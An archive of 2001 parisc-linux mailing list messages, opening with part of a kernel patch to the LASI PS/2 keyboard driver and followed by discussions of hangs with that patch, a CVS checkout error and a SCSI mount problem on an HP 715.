+       }
+
+       cmd_status=2;
+       while (cmd_status!=0) {
+               write_output(leds, lasikbd_hpa);
+               mdelay(5);
+       }
+
+       cmd_status=2;
+       while (cmd_status!=0) {
+          write_output(KBD_CMD_ENABLE, lasikbd_hpa);
+          mdelay(5);
+       }
 }

 #if 0
 /* this might become useful again at some point.  not now  -prumpf */
-int lasi_ps2_test(void *hpa)
+int lasi_ps2_test(unsigned long hpa)
 {
     u8 control,c;
     int i, ret = 0;
@@ -155,10 +170,56 @@
 }
 #endif

-static int __init lasi_ps2_reset(unsigned long hpa, int id)
+static int init_keyb(unsigned long hpa)
+{
+       int fail;
+       u8 data=0;
+
+
+       do {
+               while ((read_status(hpa) & LASI_STAT_TBNE));
+               gsc_writeb(KBD_CMD_SET_LEDS, hpa+LASI_XMTDATA);
+
+               while (!(read_status(hpa) & LASI_STAT_RBNE));
+
+               while ((read_status(hpa) & LASI_STAT_RBNE))
data=read_input(hpa);
+       }while(data!=AUX_REPLY_ACK);
+
+       fail=0;
+
+       do {
+               while ((read_status(hpa) & LASI_STAT_TBNE));
+               gsc_writeb(0x00, hpa+LASI_XMTDATA);
+
+               while (!(read_status(hpa) & LASI_STAT_RBNE));
+
+               while ((read_status(hpa) & LASI_STAT_RBNE)) {
+                       data=read_input(hpa);
+                       fail++;
+                       if(fail==10) break;
+               }
+       }while(data!=AUX_REPLY_ACK);
+
+       fail=0;
+       do {
+               while ((read_status(hpa) & LASI_STAT_TBNE));
+               gsc_writeb(KBD_CMD_ENABLE, hpa+LASI_XMTDATA);
+
+               while (!(read_status(hpa) & LASI_STAT_RBNE));
+               while ((read_status(hpa) & LASI_STAT_RBNE)) {
+                       data=read_input(hpa);
+                       fail++;
+                       if(fail==10) break;
+               }
+
+       }while(data!=AUX_REPLY_ACK);
+
+       return 1;
+}
+
+static void __init lasi_ps2_reset(unsigned long hpa)
 {
     u8 control;
-    int ret = 1;

     /* reset the interface */
     gsc_writeb(0xff, hpa+LASI_RESET);
@@ -167,22 +228,6 @@
     /* enable it */
     control = read_control(hpa);
     write_control(control | LASI_CTRL_ENBL, hpa);
-
-        /* initializes the leds at the default state */
-        if (id==0) {
-           write_output(KBD_CMD_SET_LEDS, hpa);
-       write_output(0, hpa);
-       ret = write_output(KBD_CMD_ENABLE, hpa);
-    }
-
-    return ret;
-}
-
-static int inited;
-
-static void lasi_ps2_init_hw(void)
-{
-    ++inited;
 }


@@ -363,7 +408,7 @@
     lock_kernel();
     fasync_aux(-1, file, 0);
     if (--aux_count) {
-       unlock_kernel();
+         unlock_kernel();
          return 0;
     }
     unlock_kernel();
@@ -399,62 +444,60 @@
         id = gsc_readb(hpa+LASI_ID) & 0x0f;

         if (id==1)
-           hpa -= LASI_PSAUX_OFFSET;
-        lasikbd_hpa = hpa;
-
+         hpa -= LASI_PSAUX_OFFSET;

         status_keyb = read_status(hpa);
         status_mouse = read_status(hpa+LASI_PSAUX_OFFSET);

         while ((status_keyb|status_mouse) & LASI_STAT_RBNE){

-           while (status_keyb & LASI_STAT_RBNE) {
+         while (status_keyb & LASI_STAT_RBNE) {

-              scancode = read_input(hpa);
+         scancode = read_input(hpa);

-          /* XXX don't know if this is a valid fix, but filtering
-           * 0xfa avoids 'unknown scancode' errors on, eg, capslock
-           * on some keyboards.
-           */
-          if (inited && scancode != 0xfa)
-          handle_at_scancode(scancode);
+               /* XXX don't know if this is a valid fix, but filtering
+                * 0xfa avoids 'unknown scancode' errors on, eg, capslock
+                * on some keyboards.
+                */
+
+         if (scancode == AUX_REPLY_ACK)
+              cmd_status=0;
+
+         else if (scancode == AUX_RESEND)
+              cmd_status=1;
+         else
+              handle_at_scancode(scancode);

-          status_keyb =read_status(hpa);
-           }
+         status_keyb =read_status(hpa);
+         }

 #ifdef CONFIG_PSMOUSE
-           while (status_mouse & LASI_STAT_RBNE) {
-          scancode = read_input(hpa+LASI_PSAUX_OFFSET);
-          handle_mouse_scancode(scancode);
-              status_mouse = read_status(hpa+LASI_PSAUX_OFFSET);
-       }
-           status_mouse = read_status(hpa+LASI_PSAUX_OFFSET);
+         while (status_mouse & LASI_STAT_RBNE) {
+              scancode = read_input(hpa+LASI_PSAUX_OFFSET);
+              handle_mouse_scancode(scancode);
+              status_mouse = read_status(hpa+LASI_PSAUX_OFFSET);
+         }
+         status_mouse = read_status(hpa+LASI_PSAUX_OFFSET);
 #endif /* CONFIG_PSMOUSE */
-           status_keyb = read_status(hpa);
+         status_keyb = read_status(hpa);
         }

         tasklet_schedule(&keyboard_tasklet);
         return (status_keyb|status_mouse);
 }

-
-
-
 extern struct pt_regs *kbd_pt_regs;

 static void lasikbd_interrupt(int irq, void *dev, struct pt_regs *regs)
 {
-    lasips2_hpa = (unsigned long) dev; /* save "hpa" for lasikbd_leds() */
     kbd_pt_regs = regs;
-    handle_lasikbd_event(lasips2_hpa);
+    handle_lasikbd_event(dev);
 }

-
 extern int pckbd_translate(unsigned char, unsigned char *, char);

 static struct kbd_ops gsc_ps2_kbd_ops = {
     translate:     pckbd_translate,
-    init_hw:  lasi_ps2_init_hw,
     leds:          lasikbd_leds,
 #ifdef CONFIG_MAGIC_SYSRQ
     sysrq_key:     0x54,
@@ -468,7 +511,7 @@
     unsigned long hpa = dev->hpa;
     unsigned int irq;
     char *name;
-    int device_found;
+    int device_found=0;
     u8 id;

     id = gsc_readb(hpa+LASI_ID) & 0x0f;
@@ -488,20 +531,10 @@
     }

     /* reset the PS/2 port */
-    device_found = lasi_ps2_reset(hpa,id);
-
-    /* allocate the irq and memory region for that device */
-    if (!(irq = busdevice_alloc_irq(dev)))
-         return -ENODEV;
-
-    if (request_irq(irq, lasikbd_interrupt, 0, name, (void *)hpa))
-         return -ENODEV;
-
-    if (!request_mem_region(hpa, LASI_STATUS + 4, name))
-         return -ENODEV;
-
+    lasi_ps2_reset(hpa);
     switch (id) {
     case 0:
+         device_found = init_keyb(hpa);
          register_kbd_ops(&gsc_ps2_kbd_ops);
          break;
     case 1:
@@ -527,6 +560,17 @@
 #endif
     } /* of case */

+        /* allocate the irq and memory region for that device */
+    if (!(irq = busdevice_alloc_irq(dev)))
+         return -ENODEV;
+
+    if (request_irq(irq, lasikbd_interrupt, 0, name, (void *)hpa))
+         return -ENODEV;
+
+    if (!request_mem_region((unsigned long)hpa, LASI_STATUS + 4, name))
+         return -ENODEV;
+
+
     printk(KERN_INFO "PS/2 %s port at 0x%08lx (irq %d) found, "
                "%sdevice attached.\n",
               name, hpa, irq, device_found ? "":"no ");



**********************************************************************
This e-mail and any attachments to it may contain confidential information which is strictly intended for the use of the authorised recipient.  If you have received this e-mail in error, please delete it and notify the sender by replying to this e-mail.
Thank you for your co-operation.
**********************************************************************




From - Thu Nov 08 21:19:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: thunder7@xs4all.nl
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] cvs update gives 'move away ....' on every file
Date: Wed, 5 Sep 2001 15:29:44 +0200
Lines: 44
Approved: news@gmane.org
Message-ID: <20010905152944.A23742@middle.of.nowhere>
Reply-To: thunder7@xs4all.nl
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620457 24993 80.91.229.3 (22 Nov 2014 01:40:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:57 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep  5 07:30:02 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp3.xs4all.nl (smtp3.xs4all.nl [194.109.127.132])
	by dsl2.external.hp.com (Postfix) with ESMTP id B4F1F482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  5 Sep 2001 07:30:01 -0600 (MDT)
Original-Received: from rivierenland.xs4all.nl (rivierenland.xs4all.nl [194.109.14.47])
	by smtp3.xs4all.nl (8.9.3/8.9.3) with ESMTP id PAA20273
	for <parisc-linux@lists.parisc-linux.org>; Wed, 5 Sep 2001 15:29:49 +0200 (CEST)
Original-Received: (qmail 2501 invoked from network); 5 Sep 2001 13:29:48 -0000
Original-Received: from unknown (HELO rivierenland.xs4all.nl) (unknown)
  by unknown with SMTP; 5 Sep 2001 13:29:48 -0000
Original-Received: (qmail 25350 invoked by uid 500); 5 Sep 2001 13:29:44 -0000
Content-Disposition: inline
User-Agent: Mutt/1.3.22.1i
Xref: news.gmane.org gmane.linux.ports.parisc:12111

- downloaded the linux-latest.tar.gz archive
- created /home/cvs/parisc and made sure I had enough permissions
- untarred the linux-latest.tar.gz archive there, creating
  /home/cvs/parisc/linux
- installed cvs
- made sure there's a variable CVSROOT in my environment, value:
  ":pserver:anonymous@puffin.external.hp.com:/home/cvs/parisc" (without
  the " of course)
- created ~/.cvsrc, containing:
cvs -z3 -q
diff -uNp
update -Pd
rm -f
- typed 'cd /home/cvs/parisc; cvs update'

result:

jurriaan@pa8200:/home/cvs/parisc$ cvs update -A
cvs update: move away linux/.cvsignore; it is in the way
C linux/.cvsignore
cvs update: move away linux/COPYING; it is in the way
C linux/COPYING
cvs update: move away linux/CREDITS; it is in the way
C linux/CREDITS
cvs [update aborted]: received interrupt signal

and so on. Comments on www.google.com and various mailin-lists seem to
indicate this is often a server-error. I can't really believe that,
since it seems to work for everyone else.

I retried it with linux-20010830.tar.gz, and the same messages were
printed.

What am I doing wrong?

Thanks,
Jurriaan
-- 
Cool is one thing, but you're frozen solid.
	Startrek DS9: Vic Fontaine to Odo.
GNU/Linux 2.4.9-ac7 SMP/ReiserFS 2x1402 bogomips load av: 0.03 0.03 0.02




From - Thu Nov 08 21:19:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Thomas Marteau kbd patch adapted.(2)
Date: Wed, 5 Sep 2001 14:54:29 +0100
Lines: 8
Approved: news@gmane.org
Message-ID: <20010905145429.C29327@parcelfarce.linux.theplanet.co.uk>
References: <OFF20A0000.EE7BF1AA-ONC1256ABE.00498F17@LocalDomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620457 24994 80.91.229.3 (22 Nov 2014 01:40:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:57 +0000 (UTC)
Cc: marteaut@esiee.fr, rhirst@linuxcare.com, willy@debian.org,
	parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
To: =?iso-8859-1?Q?Jo=EBl_Soete?= <jso@europay.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep  5 07:54:35 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 10D42482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  5 Sep 2001 07:54:35 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15ed8P-0004lK-00; Wed, 05 Sep 2001 14:54:29 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <OFF20A0000.EE7BF1AA-ONC1256ABE.00498F17@LocalDomain>; from jso@europay.com on Wed, Sep 05, 2001 at 03:30:03PM +0200
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12112

Hi joel.  Ryan reports his C180 hangs with thomas' patch forward-ported,
so I'm reluctant to commit this.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:19:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] installing linux on HP systems
Date: Wed, 5 Sep 2001 10:19:37 -0400
Lines: 29
Approved: news@gmane.org
Message-ID: <20010905101937.F22477@megatonmonkey.net>
References: <20010905051128.98221.qmail@web20210.mail.yahoo.com> <Pine.LNX.4.21.0109050116100.8790-100000@ns> <20010905140052.J11744@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620458 24995 80.91.229.3 (22 Nov 2014 01:40:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:58 +0000 (UTC)
Cc: nick@snowman.net
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep  5 08:18:48 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from megatonmonkey.net (cr821974-a.lndn1.on.wave.home.com [24.112.53.173])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8C918482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  5 Sep 2001 08:18:47 -0600 (MDT)
Original-Received: from sh.od.inet (IDENT:root@systemhalted [192.168.1.1])
	by megatonmonkey.net (8.11.0/8.11.0) with ESMTP id f85EVBp05231;
	Wed, 5 Sep 2001 10:31:11 -0400
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.0/8.11.0) id f85EJb014601;
	Wed, 5 Sep 2001 10:19:37 -0400
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>,
	parisc-linux@lists.parisc-linux.org, nick@snowman.net
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010905140052.J11744@linuxcare.com>; from rhirst@linuxcare.com on Wed, Sep 05, 2001 at 02:00:53PM +0100
X-Useless-Header: oooohhmmm, chant the email mantra...
Xref: news.gmane.org gmane.linux.ports.parisc:12113

> > Hi, I've got a C180 and a 715 that I'm trying to install linux on.  The
> > C180 has various issues that I belive are being worked on, so I moved on
> > to the 715.  On the 715 I get errors allong the lines of:
> > Writing inode tables: done                            
> > Writing superblocks and filesystem accounting information: done
> > # 
> > # # EXT2-fs error (device sd(8,2)): ext2_readdir: bad entry in directory
> > #2: rec_len % 4 != 0 - offset=0, inode=1701996660, rec_len5
> > 
> > This happens every time I try and mount a partition.  Is the 715 scsi
> > unsupported as well?
> 
> 715 scsi is supported, and works for many people.  Sorry, I don't know
> what might be causing your problem.
> 
> Richard


We generally insert scsi-wrangling-magic as kernel parameters:

sim700=noneg:0xff,nodisc:0xff

And it works beautifully after that.

Cheers,
Carlos.




From - Thu Nov 08 21:19:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] installing linux on HP systems
Date: Wed, 5 Sep 2001 15:21:32 +0100
Lines: 17
Approved: news@gmane.org
Message-ID: <20010905152132.D29327@parcelfarce.linux.theplanet.co.uk>
References: <20010905051128.98221.qmail@web20210.mail.yahoo.com> <Pine.LNX.4.21.0109050116100.8790-100000@ns>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620458 24998 80.91.229.3 (22 Nov 2014 01:40:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:58 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: nick@snowman.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep  5 08:21:34 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 86BBA482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  5 Sep 2001 08:21:33 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15edYa-0005jO-00; Wed, 05 Sep 2001 15:21:32 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <Pine.LNX.4.21.0109050116100.8790-100000@ns>; from nick@snowman.net on Wed, Sep 05, 2001 at 01:18:19AM -0400
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12114

On Wed, Sep 05, 2001 at 01:18:19AM -0400, nick@snowman.net wrote:
> Writing inode tables: done                            
> Writing superblocks and filesystem accounting information: done
> # 
> # # EXT2-fs error (device sd(8,2)): ext2_readdir: bad entry in directory
> #2: rec_len % 4 != 0 - offset=0, inode=1701996660, rec_len5
> 
> This happens every time I try and mount a partition.  Is the 715 scsi
> unsupported as well?

What version of e2fsprogs do you have installed?

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:19:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "=?iso-8859-1?Q?Jo=EBl_Soete?=" <jso@europay.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Thomas Marteau kbd patch adapted.(2)
Date: Wed, 5 Sep 2001 16:27:39 +0200
Lines: 51
Approved: news@gmane.org
Message-ID: <OF468C81B1.83C2EC27-ONC1256ABE.004F103E@LocalDomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416620458 25001 80.91.229.3 (22 Nov 2014 01:40:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:58 +0000 (UTC)
Cc: debian-hppa@lists.debian.org, marteaut@esiee.fr,
	parisc-linux@lists.parisc-linux.org, rhirst@linuxcare.com,
	willy@debian.org
To: "Matthew Wilcox <willy" <willy%debian.org%SMTP%EUROPAY@mastercard.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep  5 08:24:32 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from epirel991.europay.com (mail.europay.com [193.75.200.45])
	by dsl2.external.hp.com (Postfix) with ESMTP id 56113482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  5 Sep 2001 08:24:31 -0600 (MDT)
Original-Received: from mcnbru01 (unverified) by epirel991.europay.com
 (Content Technologies SMTPRS 4.1.5) with ESMTP id <Tac10592d55cf97d815@epirel991.europay.com>;
 Wed, 5 Sep 2001 16:24:15 +0200
X-Mailer: Lotus Notes Release 5.0.7  March 21, 2001
X-MIMETrack: Serialize by Router on MCNBRU01/MASTERCARD(Release 5.0.6a |January 17, 2001) at
 09/05/2001 04:27:41 PM
Xref: news.gmane.org gmane.linux.ports.parisc:12115

Well understand.
(Sorry I could not test it on this model)

Joel



                                                                           =
                                       =20
                    Matthew                                                =
                                       =20
                    Wilcox               To:     Jo=EBl Soete/BRU/MASTERCAR=
D@MASTERCARD                             =20
                    <willy@debian        cc:     marteaut@esiee.fr@SMTP@EUR=
OPAY,                                  =20
                    .org>                rhirst@linuxcare.com@SMTP@EUROPAY,=
 willy@debian.org@SMTP@EUROPAY,        =20
                                         parisc-linux@lists.parisc-linux.or=
g@SMTP@EUROPAY,                        =20
                    05-09-01             debian-hppa@lists.debian.org@SMTP@=
EUROPAY                                =20
                    03:54 PM             Subject:     Re: Thomas Marteau kb=
d patch adapted.(2)                    =20
                                                                           =
                                       =20
                                                                           =
                                       =20




Hi joel.  Ryan reports his C180 hangs with thomas' patch forward-ported,
so I'm reluctant to commit this.

--
Revolutions do not require corporate support.





**********************************************************************
This e-mail and any attachments to it may contain confidential information =
which is strictly intended for the use of the authorised recipient.  If you=
 have received this e-mail in error, please delete it and notify the sender=
 by replying to this e-mail.
Thank you for your co-operation.
**********************************************************************




From - Thu Nov 08 21:19:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Thomas Marteau kbd patch adapted.(2)
Date: Wed, 5 Sep 2001 15:30:04 +0100
Lines: 19
Approved: news@gmane.org
Message-ID: <20010905153004.L11744@linuxcare.com>
References: <OFF20A0000.EE7BF1AA-ONC1256ABE.00498F17@LocalDomain> <20010905145429.C29327@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620459 25002 80.91.229.3 (22 Nov 2014 01:40:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:59 +0000 (UTC)
Cc: =?iso-8859-1?Q?Jo=EBl_Soete?= <jso@europay.com>,
	marteaut@esiee.fr, parisc-linux@lists.parisc-linux.org,
	debian-hppa@lists.debian.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep  5 08:29:23 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc1-hems4-0-cust107.bre.cable.ntl.com [213.105.88.107])
	by dsl2.external.hp.com (Postfix) with ESMTP id 109BB482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  5 Sep 2001 08:29:23 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 99C3EB00C; Wed,  5 Sep 2001 15:30:04 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <20010905145429.C29327@parcelfarce.linux.theplanet.co.uk>; from willy@debian.org on Wed, Sep 05, 2001 at 02:54:29PM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:12116

On Wed, Sep 05, 2001 at 02:54:29PM +0100, Matthew Wilcox wrote:
> 
> Hi joel.  Ryan reports his C180 hangs with thomas' patch forward-ported,
> so I'm reluctant to commit this.

The version I have hangs if there is a ps/2 port with no keyboard attached,
which is what causes Ryans problem.  Don't know whether Joel has addressed
that or not.  Thomas should have a fix for it, but I don't know when he
is around again.  I've been resisting doing anything on the k/b driver
on the assumption that Thomas will be back some time soon...

There are other problems; '\' on my UK k/b doesn't work (between left-shift
and 'Z'), for example.

Richard





From - Thu Nov 08 21:19:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] installing linux on HP systems
Date: Wed, 5 Sep 2001 15:39:17 +0100
Lines: 34
Approved: news@gmane.org
Message-ID: <20010905153917.M11744@linuxcare.com>
References: <20010905051128.98221.qmail@web20210.mail.yahoo.com> <Pine.LNX.4.21.0109050116100.8790-100000@ns> <20010905140052.J11744@linuxcare.com> <20010905101937.F22477@megatonmonkey.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620459 25004 80.91.229.3 (22 Nov 2014 01:40:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:59 +0000 (UTC)
To: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>,
	parisc-linux@lists.parisc-linux.org, nick@snowman.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep  5 08:38:36 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc1-hems4-0-cust107.bre.cable.ntl.com [213.105.88.107])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2C77A482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  5 Sep 2001 08:38:36 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 69ABEB00C; Wed,  5 Sep 2001 15:39:17 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <20010905101937.F22477@megatonmonkey.net>; from carlos@megatonmonkey.net on Wed, Sep 05, 2001 at 10:19:37AM -0400
Xref: news.gmane.org gmane.linux.ports.parisc:12117

On Wed, Sep 05, 2001 at 10:19:37AM -0400, Carlos O'Donell Jr. wrote:
> > > Hi, I've got a C180 and a 715 that I'm trying to install linux on.  The
> > > C180 has various issues that I belive are being worked on, so I moved on
> > > to the 715.  On the 715 I get errors allong the lines of:
> > > Writing inode tables: done                            
> > > Writing superblocks and filesystem accounting information: done
> > > # 
> > > # # EXT2-fs error (device sd(8,2)): ext2_readdir: bad entry in directory
> > > #2: rec_len % 4 != 0 - offset=0, inode=1701996660, rec_len5
> > > 
> > > This happens every time I try and mount a partition.  Is the 715 scsi
> > > unsupported as well?
> > 
> > 715 scsi is supported, and works for many people.  Sorry, I don't know
> > what might be causing your problem.
> > 
> > Richard
> 
> 
> We generally insert scsi-wrangling-magic as kernel parameters:
> 
> sim700=noneg:0xff,nodisc:0xff
> 
> And it works beautifully after that.

Ah, yes, I'd forgotten about that issue.  That is potentially needed if
you have more than one device active on the bus, at least.

Thanks,
 Richard





From - Thu Nov 08 21:19:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: marteau <marteaut@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Thomas Marteau kbd patch adapted.(2)
Date: Wed, 05 Sep 2001 16:57:13 +0000
Lines: 14
Approved: news@gmane.org
Message-ID: <20010905145713.CB95AD15AB@mail.esiee.fr>
References: <20010905153004.L11744@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620459 25009 80.91.229.3 (22 Nov 2014 01:40:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:59 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>, Joel Soete <jso@europay.com>,
	parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep  5 08:57:20 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 17628482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  5 Sep 2001 08:57:19 -0600 (MDT)
Original-Received: from esiee.fr (mail.esiee.fr [147.215.1.3])
	by mail.esiee.fr (Postfix) with ESMTP
	id CB95AD15AB; Wed,  5 Sep 2001 16:57:13 +0200 (CEST)
In-Reply-To: <20010905153004.L11744@linuxcare.com>
User-Agent: IMHO/0.97.1 (Webmail for Roxen)
Xref: news.gmane.org gmane.linux.ports.parisc:12118

Hi all,                                                               
                                                                      
            I am back to school. I am installing a logical analyzer   
for the keyboard. Since then, I have a lot of work but I think that  I
will make better progress knowing what is going on from the point of  
view of the wires. Anyway, I thought that on every hppa boxes you need
to have a PS2 kbd attached for the firmware test at the boot. But, I  
have chanced this to handle this situation.                           
                                                                      
Sorry for the delay, Thomas                                           
ESIEE Team                                                            




From - Thu Nov 08 21:19:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <nick@snowman.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] installing linux on HP systems
Date: Wed, 5 Sep 2001 14:15:37 -0400 (EDT)
Lines: 25
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0109051414490.8790-100000@ns>
References: <20010905152132.D29327@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620460 25014 80.91.229.3 (22 Nov 2014 01:41:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:00 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep  5 12:16:10 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ns.snowman.net (ns.snowman.net [63.80.4.34])
	by dsl2.external.hp.com (Postfix) with ESMTP id 35312482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  5 Sep 2001 12:16:10 -0600 (MDT)
